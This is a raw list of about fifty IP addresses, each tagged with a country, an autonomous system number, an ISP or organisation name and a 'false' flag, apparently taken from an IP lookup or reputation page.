 unknown European Union
702 UUNETUS false
155.87.116.240
 unknown United States
4010 DNIC-AS-04010US false
86.103.71.255
 unknown Germany
13101 TNG-ASTNGStadtnetzGmbHDE false
92.135.115.133
 unknown France
3215 FranceTelecom-OrangeFR false
96.144.74.21
 unknown United States
7922 COMCAST-7922US false
59.144.248.225
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
174.104.245.67
 unknown United States
10796 TWC-10796-MIDWESTUS false
204.48.119.254
 unknown Reserved
40232 MIDSTATES-WIRELESSUS false
52.175.41.200
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
188.95.17.104
 unknown Italy
198471 LINKEM-ASIT false
218.60.232.168
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
21.169.227.183
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
84.198.238.152
 unknown Belgium
6848 TELENET-ASBE false
1.147.140.26
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
199.38.199.242
 unknown Saint Lucia
8014 BATELNETBS false
99.59.85.148
 unknown United States
7018 ATT-INTERNET4US false
69.144.223.139
 unknown United States
33588 BRESNAN-33588US false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
194.15.50.23
 unknown United Kingdom
40676 AS40676US false
85.253.235.14
 unknown Estonia
13272 STARMANEE false
188.137.237.32
 unknown Bahrain
35313 BH-INFONAS-ASNBH false
152.137.215.123
 unknown United States
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
170.226.185.128
 unknown United States
11685 HNBCOL-ASUS false
181.39.145.142
 unknown Ecuador
27947 TelconetSAEC false
221.62.86.130
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
108.103.193.23
 unknown United States
10507 SPCSUS false
168.174.84.151
 unknown United States
32501 TUCSON-UNIFIED-SCHOOL-DISTRICT-1US false
67.135.202.30
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
93.247.213.192
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
173.243.186.12
 unknown United States
11550 SDL-20-ASUS false
211.148.167.97
 unknown China
24143 CNNIC-QCN-APQingdaoCableTVNetworkCenterCN false
160.47.9.86
 unknown Germany
34086 SCZN-ASDE false
215.26.147.50
 unknown United States
721 DNIC-ASBLK-00721-00726US false
45.249.168.147
 unknown India
133997 EANDU-ASEandUTechnologyServicesLLPIN false
41.33.216.218
 unknown Egypt
8452 TE-ASTE-ASEG false
128.126.6.157
 unknown United States
21497 UMC-ASUA false
189.36.197.179
 unknown Brazil
28308 OrionTelecomunicacoesComercioeServicosLTDABR false
21.199.87.5
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
58.234.80.129
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
161.242.185.197
 unknown United States
9381 HKBNES-AS-APHKBNEnterpriseSolutionsHKLimitedHK false
46.32.78.59
 unknown Russian Federation
48416 INFOLAN-ASRU false
86.110.215.196
 unknown Russian Federation
35374 RC-ASRU false
152.119.110.172
 unknown United States
2576 DOT-ASUS false